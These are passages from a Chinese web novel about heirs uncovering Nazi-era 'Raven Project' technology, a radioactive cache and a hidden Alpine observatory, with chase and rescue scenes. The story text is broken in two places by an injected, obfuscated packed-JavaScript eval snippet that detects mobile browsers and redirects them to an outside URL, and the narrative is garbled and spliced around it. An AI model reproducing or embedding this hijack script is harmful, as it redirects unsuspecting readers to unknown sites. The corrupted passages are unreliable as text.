客厅里只剩下父女两人。许久,苏柏年重重坐回沙发,双手捂住脸:“晚晚……爸爸对不起你。” “爸,我要地质数据的完整副本。”苏晚晚单刀直入,“不是给陆家,是用来保护我们自己。” 苏柏年抬起头,眼睛发红:“你知道那些数据里有什么吗?” “知道一部分。”苏晚晚说,“南城地下矿脉分布、地质断层走向、还有……放射性异常区域的记录。” “不止。”苏柏年走到书房的保险柜前,输入密码,取出一个厚重的牛皮档案袋,“你母亲当年坚持要在港口建设前做全面勘探,不是出于工程考虑,是为了找一样东西——二战时期德军留在南城地下的‘脏弹’原料。” 苏晚晚倒吸一口凉气。 “那些原料,是‘渡鸦’的前身——纳粹的‘乌鸦计划’留下的。”苏柏年翻开档案,里面是泛黄的地图和德文标注的文件,“你母亲和江美玲在瑞士留学时,从一位老教授那里听说了这个计划。回国后,她坚持要找到并处理掉那些东西。” 他指着地图上的几个红圈:“这些是放射性异常点。你母亲去世前,已经清理了大部分,但有一个点……她没来得及。” 那个红圈的位置,正是唐果直播探秘的老防空洞区域。 “所以唐果在地下发现的……”苏晚晚声音发紧。 “可能是未清理的残留物,也可能是更危险的东西。”苏柏年合上档案,“晚晚,把这些交给江砚辞。告诉他,阿尔卑斯山的东西如果真和他父亲有关,那很可能……也跟‘乌鸦计划’有关。” 他顿了顿,声音更低:“还有,小心阿影。” 苏晚晚愣住:“为什么?” “你母亲当年提过他,说他是个‘活在灰色地带的人’。”苏柏年眼神复杂,“为了达到目的,他可以用任何手段。这种人,可以做盟友,但不能完全信任。” …… 城西老干休所的一栋小楼里,林老爷子正在阳台上侍弄他的兰花。听到门铃声,他慢悠悠地放下喷壶,透过猫眼看到江砚辞和唐果,皱了皱眉,还是开了门。 “林爷爷,我是苏晚晚的朋友江砚辞。”江砚辞礼貌地说,“这位是唐果,考古学家。” “知道你们要来。”林老爷子转身往里走,背微微佝偻,但步伐稳健,“晚晚那丫头刚发了信息。坐吧,茶自己倒。” 客厅简朴,但书架占满一整面墙,全是地质学、矿物学、工程学方面的专著。老爷子在藤椅上坐下,拿起一个老烟斗,却没有点烟,只是摩挲着烟嘴。 “你要港口的地质数据?”他开门见山,“晚晚她爸那儿不是有吗?” “我们需要原始副本。”江砚辞说,“苏叔叔手里的可能被……修改过。” 老爷子盯着他看了几秒:“因为陆家?” “是。” 老爷子叹了口气,从抽屉里拿出一个铁盒,打开,里面不是文件,而是一把钥匙和一张手绘地图。 “原始数据不在我这儿。”他说,“三十年前勘探结束后,所有原始记录——手绘图纸、岩芯样本、放射性检测胶片——全部封存在港口三号仓库的地下室。钥匙只有两把,一把在当时的勘探队长手里,他五年前去世了。另一把……” 他顿了顿:“在你父亲手里。” 江砚辞怔住。 “江振华不只是公交车司机。”老爷子点燃烟斗,烟雾缭绕中,眼神变得悠远,“他是我们勘探队的特邀顾问,专攻地下结构力学。当年港口选址时,是他坚持要做全面放射性筛查,说地下有‘不干净的东西’。后来果然被他言中。” 唐果忍不住插话:“林爷爷,我在老防空洞下面发现了一台机械计算机,上面刻着江叔叔的名字和‘1985年试制’。那是……” “那是‘乌鸦计划’的遗产清理项目。”老爷子吐出一口烟,“纳粹投降前,把一批来不及运走的高精密机械设备和放射性原料埋在了南城地下。1985年,中德成立联合工作组,负责定位和清理。你父亲是机械专家,负责设备回收和破解。” 他看向江砚辞:“你父亲从那些设备里,还原出了一套完整的‘机械-生物接口技术’雏形。那就是他后来研发车辆控制算法的基础,也是……惹来杀身之祸的根源。” 真相像剥洋葱一样,一层层揭开,每一层都让人流泪。 “所以阿尔卑斯山的东西……”江砚辞声音沙哑。 “是你父亲根据纳粹技术改良后的完整成果。”老爷子从烟斗里磕出一小卷极薄的金属片——原来烟斗杆是中空的,“这是三号仓库地下室的详细结构图和开锁密码。去拿你们要的东西吧。但记住——” 他眼神锐利起来:“拿到之后,立刻销毁。那些东西不该存在于世。” 就在这时,窗外传来汽车急刹的声音。 唐果跑到窗边一看,脸色变了:“两辆黑色越野车,下来七八个人,往楼里来了!” 老爷子却神色平静:“从后门走。厨房冰箱后面有暗门,通隔壁楼的地下室。” “您呢?”江砚辞问。 “我一个退休老头,他们能把我怎么样?”老爷子挥挥手,“快走!” 两人刚钻进暗门,就听到前门被撞开的声音和粗暴的喝问:“林老头,那两个人呢?” 暗门在身后合拢。通道狭窄黑暗,唐果打开手机照明,两人快步前行。走了大概五十米,出口是一间堆放杂物的地下室。从窗户看出去,那两辆越野车还停在楼下。 “是陆文渊的人?”唐果压低声音。 江砚辞摇头:“动作太张扬,不像他的风格。可能是‘渡鸦’。” 他拨通阿影留给他的紧急号码——不是手机,是一个网络语音通道。响了三声,接通,那边传来阿影冷静的声音:“位置?” “城西老干休所三号楼,被包围了。对方七八人,有车。” “待在原地别动,两分钟。” 通话切断。唐果疑惑:“两分钟?他能干什么?” 他们很快知道了。 一分钟后,远处传来警笛声,不是一辆,是至少五六辆警车,闪着灯冲进干休所。接着是急促的脚步声、呵斥声、车门开关声。 江砚辞从窗户缝隙看到,那些黑衣人和警察对峙了几句,但很快被分开带走——黑衣人上了一辆没有标识的厢式车,警察上了警车,双方迅速撤离。 整个过程不到五分钟,安静得像什么都没发生。 手机震动,阿影发来信息:“**清理完毕。对方是‘渡鸦’的外围雇佣兵,已移交国际刑警线人处理。你们安全了,去港口仓库。**” 唐果瞪大眼睛:“他……他把那些人‘移交’了?国际刑警线人?” 江砚辞收起手机,眼神复杂:“走吧。先拿数据。” …… **同一时间,瑞士日内瓦。** 国际刑警组织总部大楼的某间办公室里,一个中年女警官正在接电话。她肩章上是三颗星,代表高级督察。 “是的,人已经控制住了……明白,会按‘特殊引渡程序’处理……影子先生,您这次的行动,又踩在灰色地带边缘了。” 电话那头传来阿影平静的声音:“茱莉亚,对付‘渡鸦’这种组织,守规矩等于自杀。你应该感谢我帮你清理了门户——你们内部的那个内鬼,我已经把证据发到你私人邮箱了。” 女警官脸色一变,快速操作电脑。果然,一封加密邮件刚刚送达,附件是详细的资金往来记录和通话录音,指向组织内一名任职十五年的技术主管。 “这些证据……” “足够你立案了。”阿影说,“作为交换,我要你帮我做三件事。” “你说。” “第一,给江砚辞和苏晚晚的瑞士之行提供安全通道。他们落地后,你的人暗中保护,但不能暴露。” “可以。” “第二,调出1998年苏黎世大学实验室火灾的完整调查档案,尤其是当时在场人员的背景审查记录。我要知道,除了江美玲和林薇,还有谁接触过‘乌鸦计划’的资料。” “这需要时间。” “我给你四十八小时。”阿影顿了顿,“第三件事——在缅甸北部那个科技园区,安插一个人进去。位置我已经安排好了,你只需要提供身份掩护。” 女警官沉默了几秒:“影子,你在下一盘很大的棋。” “棋局早就开始了。”阿影声音冷下来,“我只是在收拾二十年前没下完的残局。对了,提醒你一句——‘渡鸦’最近在接触俄罗斯的‘信号旗’特种部队退役人员。他们可能要组建自己的武装力量了。” 电话挂断。 女警官坐在办公室里,看着窗外日内瓦湖的夜色,良久,她拿起内线电话:“通知亚洲分部,启动‘清扫者’预案。目标:缅甸北部科技园区。行动等级:静默清除。” …… 港口三号仓库已经废弃多年,铁门锈蚀,锁却意外地新——最近被人换过。 江砚辞和唐果没有走正门。根据林老爷子给的地图,仓库侧面有个通风管道入口,虽然狭窄,但能通到地下室。 管道里灰尘厚重,唐果边爬边小声抱怨:“我这辈子没这么脏过……等等,前面有光!” 管道尽头是通风栅栏。透过缝隙,能看到地下室里的情景——不是想象中的杂乱,而是整齐排列的档案架和标本柜。但此刻,这里已经有人了。 三个穿防护服的人正在搬运东西,把一箱箱标注“放射性”的样本搬到一个运输箱里。领头的是个女人,背对着他们,正用德语指挥:“……小心点,这些样本已经不稳定了,震荡可能引发泄露。” 江砚辞认出了那个声音——伊莎贝拉,苏黎世大学图书馆的特藏管理员。 她怎么会在这里? 唐果用口型说:“怎么办?” 江砚辞示意她安静。他们看着伊莎贝拉和手下把最后几箱样本装车,然后快速离开。地下室里恢复了安静。 两人撬开栅栏跳下去。江砚辞直奔地图标注的保险柜位置——在房间最深处,藏在墙壁夹层里。密码输入,柜门弹开。 里面不是纸质文件,而是一台老式磁带录音机和几十盘编号磁带。还有一本厚厚的日志,封面上是江振华的签名。 江砚辞翻开日志。第一页的日期是1985年4月12日: “**今天见到了‘乌鸦计划’的遗留设备。惊人的精密,也惊人的邪恶。纳粹试图用机械控制人脑,创造绝对服从的士兵。这种技术如果流入现代,后果不堪设想。我必须销毁它,但销毁前,要留下记录——既是证据,也是警示。**” 他快速翻阅。日志详细记录了父亲如何破解设备、如何提取技术原理、又如何故意在关键步骤留下缺陷,让技术无法完整复现。 最后一页,1998年10月3日,父亲去世前一周: “**阿尔卑斯山的‘种子’已经封存。那是我改良后的版本,去除了控制功能,只保留辅助和修复。希望能帮助那些受伤的人。密码设定为小辞和他未来伴侣的生日——如果他能找到真爱,就让他来决定技术的命运吧。**” “未来伴侣……”唐果轻声说,“你爸真有远见。” 江砚辞握紧日志。他拿出手机,把关键页面拍照,然后将日志和磁带重新封存。这些不能带走,太危险。 但在他合上保险柜前,注意到柜门内侧贴着一张便签,是母亲的笔迹: “**小辞,如果你来到这里,说明你已经接近真相了。记住:技术本身无罪,有罪的是使用它的人。你父亲留下的‘种子’,本意是救人的。别让那些人的贪婪,玷污了他的善意。**” 便签背面,还有一行小字:“**地下室东南角,地板下,有你父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004285|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留给你的最后一件礼物。**” 两人走到东南角,撬开地板砖。下面不是暗格,而是一个小型的防爆箱。打开,里面是一把钥匙和一张照片。 钥匙上刻着德文:“**观测站B-7,主控室**”。 照片是三个人的合影:年轻的江振华、林薇、还有一个戴眼镜的德国男人。背面写着:“**与卡尔·施密特博士,于苏黎世,1985。他是‘乌鸦计划’的幸存者,也是技术的良知。**” 唐果指着照片上的德国男人:“这个人……我在老防空洞的机械计算机上看到过他的签名!K. Schmidt!” 所有线索终于串联起来。 江砚辞收起钥匙和照片:“我们得走了。这里不安全。” “这些样本怎么办?”唐果指着那些被伊莎贝拉搬剩下的箱子,“如果真有放射性……” 话音未落,地下室的灯突然全部熄灭。 应急灯亮起红光。广播里传来伊莎贝拉冰冷的声音,这次用的是中文: “江先生,唐小姐,很遗憾你们选择了错误的路。现在,地下室已经封锁,通风系统将在三分钟后关闭。如果你们交出钥匙和照片,我可以让你们活着离开。” 江砚辞抬头,看到角落里的摄像头闪着红光。 他对着摄像头说:“伊莎贝拉,或者我该叫你——‘渡鸦’的‘夜莺’?林教授知道你的真实身份吗?” 广播里沉默了几秒,然后传来轻笑:“林静文那个天真的女人,当然不知道。她以为我还是当年那个在图书馆打工的穷学生。不过没关系,她很快也没用了。” “你想要什么?”江砚辞拖延时间,同时用手机给阿影发紧急信号。 “你父亲在阿尔卑斯山留下的‘种子’,还有施密特博士的完整研究笔记。”伊莎贝拉说,“交出来,我放你们走。否则——你们会和这些放射性样本一起,永远埋在这里。” 唐果脸色发白。江砚辞握住她的手,低声说:“信我吗?” “信。” “好。”江砚辞对着摄像头举起钥匙和照片,“东西在这里。但你得先打开门,让我们到地面。然后我会放在指定地点,你自取。” “你以为我会相信?” “你可以不信。”江砚辞冷静地说,“但杀了我,你永远找不到施密特博士的笔记。那东西,只有我知道在哪里。” 长久的沉默。然后,地下室的铁门传来液压装置启动的声音,缓缓打开。 “上来。”伊莎贝拉说,“别耍花样。” 两人走出地下室。仓库一层,伊莎贝拉带着四个持枪的手下等在那里。她依然穿着防护服,但面罩掀开了,露出一张清秀但冷酷的脸。 “东西。”她伸出手。 江砚辞把钥匙和照片递过去。伊莎贝拉检查后,满意地点头:“很好。现在,告诉我笔记在哪里。” “在苏黎世大学图书馆,特藏库,编号ZJ-1985-728的那个盒子里。”江砚辞说,“但你打不开,需要林教授的权限和我的生物识别。” 伊莎贝拉眯起眼睛:“你在耍我?” “你可以现在就杀了我,然后永远拿不到笔记。”江砚辞迎上她的目光,“或者,带我们去瑞士。我帮你拿到笔记,你放我们一条生路。” 僵持。 就在这时,仓库外传来密集的脚步声。伊莎贝拉脸色一变,对耳机说了句德文,然后狠狠瞪了江砚辞一眼:“你报警了?” “不是我。”江砚辞说。 仓库大门被撞开。冲进来的不是警察,而是六个全副武装、穿黑色作战服、戴面罩的人。他们动作迅捷专业,瞬间控制了伊莎贝拉的手下。 领头的人走到江砚辞面前,掀开面罩——是阿影。 “清理完毕。”他简短地说,然后看向伊莎贝拉,“夜莺,你的歌唱完了。” 伊莎贝拉冷笑:“影子,你以为你赢了?‘渡鸦’已经知道你所有的身份。你的家人,你的朋友……” “我没有家人,也没有朋友。”阿影打断她,“所以,你们威胁不了我。” 他抬手做了个手势。手下的人迅速将伊莎贝拉和她的同伙押走。整个过程不到两分钟,安静得像一场排练好的默剧。 仓库里只剩下江砚辞、唐果和阿影。 阿影走到那些放射性样本箱前,检查了标签,然后从背包里拿出几个小型装置,贴在箱体上:“这些会在一小时后引爆,彻底销毁样本。你们该走了。” “伊莎贝拉会怎么样?”唐果问。 “她会‘消失’。”阿影说,“国际刑警需要她脑子里的情报,但她不会活着上法庭。‘渡鸦’不会允许。” 他转向江砚辞:“阿尔卑斯山之行,必须提前了。陆文渊已经订了明天飞苏黎世的机票。你们要赶在他前面。” “我们需要准备什么?” “什么都不用。”阿影从怀里掏出两个护照和两张机票,“身份已经安排好,航班一小时后起飞。到了苏黎世,会有人接应你们。” 他顿了顿:“这次,我和你们一起去。有些事,该做个了结了。” 江砚辞接过护照。翻开,里面的照片是他和苏晚晚,但名字和身份信息都是陌生的。 “晚晚那边……” “她已经在去机场的路上了。”阿影说,“我的人保护着。你们在机场汇合。” 他走到仓库门口,又回头:“对了,江砚辞,到了瑞士,你会见到一个人——卡尔·施密特博士。他还活着,是你母亲当年保护下来的。有些问题,只有他能回答。” 夜色中,三辆车悄然驶离港口。 一小时后,仓库深处传来沉闷的爆炸声,火光被厚重的墙体隔绝,没有惊动任何人。 而那些埋藏了半个世纪的秘密,也随着火焰,化为灰烬。 飞往苏黎世的航班上,苏晚晚靠着舷窗,看着下方越来越远的城市灯火。她的脚踝已经做了紧急处理,疼痛减轻了些,但心里沉甸甸的。 江砚辞坐在她旁边,正在看父亲日志的照片。唐果坐在过道另一边,已经累得睡着了。 “我爸把数据副本给了我。”苏晚晚轻声说,“他说……祝我们好运。” 江砚辞握住她的手:“害怕吗?” “怕。”苏晚晚诚实地说,“但更怕如果不去,会后悔一辈子。” 飞机穿过云层,进入平流层。空乘开始提供餐食,但三人都没有胃口。 阿影坐在他们后面三排的位置,始终闭目养神,像一尊雕塑。 航程过半时,江砚辞突然开口:“晚晚,等这件事结束……我想重新回到赛车场。” 苏晚晚转头看他。 “不是为复仇,也不是为证明什么。”他望着窗外的星空,“是想用我父亲的技术,研发更安全的赛车系统。然后……开一个培训班,教普通人如何在危险情况下救车。如果能少一些车祸,少一些家庭破碎……” 他没说完,但苏晚晚懂了。 她靠在他肩上:“那我呢?等这件事结束,我想把机械和舞蹈结合起来,做一种全新的表演形式。让更多人看到,技术和艺术不是对立的,是可以共生的。” 江砚辞笑了:“听起来不错。” “所以,”苏晚晚抬起头,眼睛在昏暗的机舱灯光里亮晶晶的,“我们都要活着回来。为了还没实现的那些‘以后’。” “嗯。”江砚辞握紧她的手,“一定。” 飞机继续向西,飞向阿尔卑斯山的雪顶,飞向等待了二十年的真相,飞向一场不知道结局的较量。 但此刻,在三万英尺的高空,至少有两颗心,是紧紧靠在一起的。 19. 第十九章 第十九章赛道的呼吸与舞台的光 飞机在苏黎世降落时,是个阴沉的清晨。铅灰色的云层压着阿尔卑斯山的轮廓,空气冷冽干净。阿影安排的接应人举着写有假名的牌子,沉默地将他们带上两辆不起眼的灰色轿车,驶离机场。 车子没有进入市区,而是沿着公路向北,开往苏黎世湖北岸的郊区。最终停在一栋爬满常春藤的老别墅前,门牌上刻着“静庐”两个汉字。 “林教授的家。”阿影下车,从口袋里掏出钥匙,“她这周去日内瓦参加学术会议,房子空着。你们在这里休整两天,倒时差,做最后准备。” 别墅内部是典型学者家的模样,满墙书柜,桌上摊着未写完的论文,空气中弥漫着旧书和咖啡的味道。阿影把行李放在客厅,走到壁炉前,从相框后面取出一个信封。 “这是观测站B-7的详细地形图和气象资料。海拔三千二百米,这个季节夜间气温零下十五度,有突发暴风雪的可能。”他把地图铺在茶几上,“上山只有两条路,一条是废弃的缆车线路,机械部分严重锈蚀,风险极高。另一条是徒步小径,但需要穿越三处雪崩高危区。” 江砚辞看着地图上那些密密麻麻的等高线和危险标记:“陆文渊会选哪条?” “他哪条都不会选。”阿影从信封里又抽出一张卫星照片,拍摄时间是三天前,“他雇了当地的登山向导和直升机公司,准备直接空降到观测站平台。但问题是——” 他用手指点了点照片上的建筑:“观测站屋顶结构老化,承重有限。重型直升机降落可能导致坍塌。所以他的人会绳降,然后直升机在附近山谷待命。” 苏晚晚凑近细看:“那我们……” “我们走缆车。”阿影说,“虽然危险,但隐蔽。陆文渊的注意力会在空中和地面小径,不会想到有人敢用废弃六十年的缆车上山。” 陈曜吹了声口哨:“玩这么大?” “时间紧。”阿影收起地图,“陆文渊的直升机预订在后天上午九点。我们必须在明天午夜前抵达观测站,取得‘种子’并设好陷阱。在他的人抵达时,那里应该只剩个空壳,以及……一点‘惊喜’。” 他分配任务:陈曜负责检查准备登山装备,唐果通过卫星网络继续监控陆文渊团队的通讯,江砚辞和苏晚晚抓紧时间休息。 但江砚辞睡不着。 时差是一方面,更多的是心里的躁动。他走到别墅后院,那里有个简陋的车库,门虚掩着。推开门,灰尘在阳光中飞舞。车库里没有车,只有一堆用防尘布盖着的杂物。 他掀开一角,愣住了。 防尘布下是一台老式的卡丁车架,没有引擎,座椅破旧,但车架上贴着褪色的号码贴纸——7号。旁边的工作台上,工具整齐排列,墙上挂着几张泛黄的照片:少年时的他在卡丁车场,身后站着父亲,两人都穿着沾满油污的工装裤。 这是林教授保留的,还是母亲当年留在这里的? 江砚辞走到工作台前,手指拂过那些工具。扳手、套筒、扭矩 wrench……都是他少年时用惯的型号。最下面压着一本笔记,翻开,是父亲的字迹: “**1985年7月16日,带小辞第一次开卡丁车。他紧张得手心出汗,但握住方向盘的那一刻,眼睛亮了。这孩子骨子里流着机油,像我。但他妈妈希望他成为学者,说赛车太危险。唉,怎么办才好……**” 再往后翻: “**1998年3月8日,小辞拿了亚洲F3冠军。记者问他为什么赛车,他说:‘因为车不会说谎,快就是快,慢就是慢。’这话说得真好。美玲在台下哭了,说儿子长大了。其实我想说,儿子一直很懂。**” 最后一页的日期停在父亲去世前一周: “**体检报告出来了,不太好。但不敢告诉美玲和小辞。小辞下个月要参加欧洲F3测试,这是他最重要的一次机会。我得撑到那时候,至少……要亲眼看他开上真正的赛车。**” 笔记到这里中断。后面是空白的纸页,像一段戛然而止的人生。 江砚辞合上笔记,胸口发闷。他走到那台卡丁车架前,蹲下,手指抚过锈蚀的钢管车架。十六岁那年,他就是开着这台车拿了第一个冠军。赛后父亲抱着他说:“小辞,记住今天的感觉——不是赢的感觉,是人车合一的感觉。以后无论开多快的车,都要记得这个感觉。” 那时他不完全懂。后来开了F1,在时速三百公里的直道上,在承受五个G力的弯道中,他才逐渐明白:所谓的“人车合一”,不是控制,是信任。信任车辆给你的反馈,信任自己的判断,信任那条看不见但存在的“线”。 “睡不着?”苏晚晚的声音从门口传来。 她裹着毯子,赤脚站在车库门口,头发有些凌乱,显然也是被时差搅得无法入眠。 “嗯。”江砚辞让开位置,“发现了点旧东西。” 苏晚晚走进来,看到卡丁车架和照片,眼睛微微睁大:“这是你……” “十六岁那年的车。”江砚辞轻声说,“后来换新车,这台就淘汰了。没想到林教授还留着。” 苏晚晚蹲在车架旁,手指小心地碰了碰方向盘:“我能……感受一下吗?” 江砚辞帮她坐进狭窄的座椅。卡丁车没有车门,座位很低,几乎贴地。苏晚晚握住方向盘,即使没有引擎,没有速度,那种低重心带来的稳定感依然清晰。 “想象你在过弯。”江砚辞站在她身侧,手虚扶着车架,“身体要顺着离心力的方向倾斜,但头要保持稳定,眼睛看你要去的方向,不是看弯心。” 苏晚晚闭上眼睛。舞蹈训练让她对身体感知极其敏锐,此刻在静止中,她仿佛真的感觉到了那种力量——轮胎咬合地面,车身轻微侧滑,方向盘传来细微的反饋…… “感觉到了。”她睁开眼,“和跳舞转圈时很像。重心要偏移,但核心要稳住,视线要提前定在下一个方向。” 江砚辞点头:“所以我说,赛车和舞蹈是相通的。” 苏晚晚从车里出来,拍了拍手上的灰:“江砚辞,等这件事结束……你真的会回去赛车吗?” “不是回去比赛。”他纠正,“是去做安全研发和培训。我父亲的技术,不该只锁在阿尔卑斯山的冰库里。它应该用来救人。” 他顿了顿:“你呢?新舞剧还有机会吗?” “不知道。”苏晚晚靠在车架上,“剧院那边压力很大,陆文渊肯定动了手脚。但没关系,如果这里待不下去,我可以去别的舞团,或者……自己组建团队。我想做的那种机械与身体融合的舞蹈,传统舞台可能本来就容不下。” 她说这话时语气平静,但江砚辞听出了深处的失落。舞蹈是她二十年的生命,被迫离开,怎么可能不难过。 “会好的。”他说,“等真相大白,那些压力自然会消失。” “但愿吧。”苏晚晚笑了笑,转移话题,“对了,唐果刚才收到了陆野从云南发来的新消息,你要不要听?” 两人回到别墅客厅。唐果正抱着笔记本电脑窝在沙发里,脸色严肃。 “陆野黑进了缅甸那个科技园区的内部服务器,找到了训练日志。”她把屏幕转向大家,“你们看这个——” 屏幕上滚动着数据记录,日期从三个月前开始。前期的测试都标注“模拟环境”,但最近两周,出现了“实地测试”条目,测试地点在缅甸北部山区的一段废弃公路。 “问题在这里。”唐果放大其中一条日志,“三天前的测试,算法在避让一个突然出现的动物模型时,错误识别为‘低矮障碍物’,采取了加速冲撞的决策。虽然没有真人伤亡,但他们的工程师在备注里写:‘伦理约束模块缺失导致异常决策,建议暂停测试。’” 陈曜骂了句脏话:“这帮疯子,用不完整的算法做实地测试?” “更可怕的是这个。”唐果调出另一份文件,“园区采购清单,上周新到了一批……军用级防护装备和武器。陆野说,她监控到有二十多名外籍人员入驻,行动举止像退役军人。” 阿影一直沉默地站在窗边,这时开口:“‘渡鸦’在组建自己的武装。他们等不及了。” “等不及什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江砚辞起身,轻轻推开房门。苏晚晚已经等在走廊里,裹着厚厚的羊毛披肩,手里拿着两个保温杯。 “厨房找到的热可可。”她递给他一杯。 两人悄悄下楼,从后门出去。别墅后面有片小山坡,爬上去能俯瞰苏黎世湖。天色还是深蓝,但东边的山脊已经泛起鱼肚白。 他们在山坡的長椅上坐下。热可可的甜香在冷空气中格外清晰。 “紧张吗?”苏晚晚问。 “有点。”江砚辞承认,“不是怕危险,是怕……失望。” “怕找到的东西不是你期望的?” “怕找到的东西,证明父亲当年的选择是错的。”他握紧杯子,“如果他真的留下了可能被滥用的技术,那我一生的信念就崩塌了。” 苏晚晚沉默了一会儿,轻声说:“我妈妈曾经跟我说过一句话。她说,晚晚,这世上没有绝对正确的事,只有尽力去做对的事。你父亲当年尽力了,你现在也尽力了,这就够了。” 东方天际渐渐染上橙红,云层被镶上金边。第一缕阳光刺破山脊,洒在湖面上,碎成万千光斑。 “江砚辞,”苏晚晚看着日出,声音很轻,“不管明天找到什么,不管你最后怎么决定,我都会站在你这边。不是因为我欠你人情,也不是因为我妈和你妈的约定。” 她转过头,看着他:“是因为我相信你。相信你会做出对的选择。” 晨光映在她脸上,睫毛上凝着细微的霜花,眼睛清澈坚定。 江砚辞心里某个紧绷的地方,突然松开了。 他伸出手,轻轻握住她冰凉的手指:“谢谢。” 没有更多的话。两人就这样并排坐着,看着太阳完全升起,照亮阿尔卑斯山的雪顶,照亮湖面,照亮前方未知的道路。 远处别墅里传来动静,陈曜的大嗓门:“起床了起床了!再睡上山要缺氧了!” 新的一天开始了。 最后的征程,即将开始。 20. 第二十章 第二十章山痕与缆索的脉搏 登山前的最后六小时,是在反复检查装备和记忆地形图中度过的。 阿影把观测站B-7的结构图投影在客厅墙壁上,那是一座三层建筑,半嵌入山体,屋顶有圆形观测台,外墙是混凝土和锈蚀的钢板。他激光笔的红点停在建筑侧面的一个通风口:“这是最可能的入口。主门被两吨重的防爆门封死,没有大型设备打不开。但当年施工时留下了一个维护通道,图纸上没有标注,是施密特博士私下告诉江美玲的。” “通风口有多宽?”陈曜问。 “直径六十厘米,成年人需要卸掉背包爬行。”阿影切换图片,是一张发黄的施工草图,“内部有九道弯,全长四十米。第七道弯处有个压力传感器,如果触发,会释放麻醉气体。我们要在第六弯道的位置,用这个——” 他从装备箱里取出一个钢笔大小的装置:“超声波探测器,可以扫描前方五米的结构。找到传感器位置后,用低温喷雾暂时冻结它的电路板,窗口期大概三十秒。” 唐果一边往背包里塞能量棒一边嘀咕:“这比盗墓还复杂……” “因为设计它的人,不想让任何人进去。”阿影关掉投影,“最后强调三点:第一,海拔三千二百米,氧气含量只有平地的百分之七十,任何剧烈动作都可能导致高山反应。第二,夜间温度零下十五度,失温会在二十分钟内致命。第三,也是最重要的——” 他看向所有人:“如果遭遇陆文渊的人,优先保护自己,不要硬拼。我们的目标是拿到‘种子’,不是消灭对手。只要东西在我们手里,他们就输了。” 下午三点五十分,两辆车离开别墅。阿影开车带着江砚辞和苏晚晚,陈曜和唐果坐另一辆。窗外风景从湖区平原逐渐变成丘陵,然后是覆盖着针叶林的山麓。越往北开,雪线越低,等到达徒步起点的小镇时,周围已是白茫茫一片。 小镇只有十几户人家,这个季节几乎无人居住。他们把车停在一间废弃的伐木工棚后面,换上登山装备。江砚辞帮苏晚晚调整背包肩带时,注意到她左肩的动作仍有些滞涩。 “疼吗?” “能忍。”苏晚晚把止痛贴又按紧了些,“舞蹈员的忍痛能力是专业级的,放心。” 阿影从工棚角落拖出两个长条形的防水袋,拉开,里面是两套完整的缆车座椅安全带和滑索装置。缆车站位于小镇后山,已经废弃了六十多年,铁塔锈蚀,缆绳垂落,看起来随时会崩塌。 “我们要用这个上山?”唐果仰头看着那些在风中摇晃的缆车轿厢,声音发颤。 “不坐轿厢,用滑索。”阿影已经开始组装设备,“轿厢的承载结构早就锈坏了。但缆绳本身是十六股钢丝绞合,外层锈了,内层还有强度。我们挂在滑索上滑过去,每隔三百米有一个铁塔,在塔上换绳。” 他演示如何把安全带挂在主缆上,如何用摩擦制动器控制速度,如何在抵达铁塔时用安全扣过渡到下一段缆绳。动作熟练得像每天做一遍。 “你以前干过这个?”陈曜问。 “在喜马拉雅山区追捕过走私团伙,他们用类似的废弃缆车运货。”阿影检查完所有人的装备,“记住,滑行时身体保持放松,但核心收紧。眼睛看前方铁塔,不要看脚下。如果觉得太快,轻轻捏制动器,但别猛刹,会失控摆动。” 黄昏时分,他们抵达第一座铁塔。塔身有二十米高,锈蚀的梯子缺了好几级。阿影先爬上去,固定好安全绳垂下来。江砚辞让苏晚晚跟在自己后面,每一步都确认她踩稳了才继续向上。 爬到塔顶平台时,夕阳正沉入远山,天空从橙红渐变成深紫。从这里能看到整条缆车线路——十二座铁塔像巨人遗落的脊椎骨,沿着山脊蜿蜒向上,消失在暮色和云雾里。最高的那座塔,顶端已经没入云层。 “距离第一段滑行,四百二十米。”阿影把滑索挂上缆绳,“江砚辞第一个,我最后。滑到对面塔后,用对讲机报平安。” 江砚辞扣好安全扣,深吸一口气,推离平台。 失重感只持续了一瞬,接着是速度带来的呼啸风声。缆绳在头顶嗡嗡震动,脚下的深渊快速后退。他按照阿影教的,身体微微后仰,眼睛紧盯着前方铁塔上那盏阿影提前安装的指示灯。 滑行到中途时,缆绳突然剧烈晃动起来——是山风。江砚辞立刻收紧核心,保持身体稳定。晃动持续了十几秒,渐渐平息。最后五十米,他开始轻捏制动器,速度减缓,稳稳停在对面塔的平台边缘。 解开安全扣,他按住对讲机:“安全抵达。” 接下来是苏晚晚。对讲机里传来她微微急促的呼吸声,然后是一声:“出发了。” 江砚辞紧盯着远处那个小小的身影。她滑得很稳,甚至在风中调整了一次姿势,像舞蹈中的某个平衡动作。三分半后,她顺利抵达,解开安全扣时脸有些发白,但眼睛很亮。 “像飞一样。”她说。 唐果和陈曜也相继滑过来。最后是阿影,他速度最快,几乎没怎么用制动,像一道影子划过暮色。 天色完全黑下来时,他们完成了四段滑行,抵达第五座铁塔。从这里开始,缆绳进入云层,能见度骤降。阿影让大家在塔顶平台休息二十分钟,补充能量。 唐果掏出保温杯喝热水,牙齿还在打颤:“我总算知道为什么陆文渊要雇直升机了……这根本不是人走的路。” “但这条路安全。”阿影用夜视望远镜观察上方,“直升机有雷达信号,容易被追踪。而且这个天气,云层里的紊流足够让直升机失控。” “还有多久能到观测站?”江砚辞问。 “按当前速度,凌晨三点左右能到山脊,再徒步一小时下到观测站所在的坳地。”阿影看了看手表,“但云层在加厚,可能有雪。如果雪太大,我们需要在铁塔上过夜。” 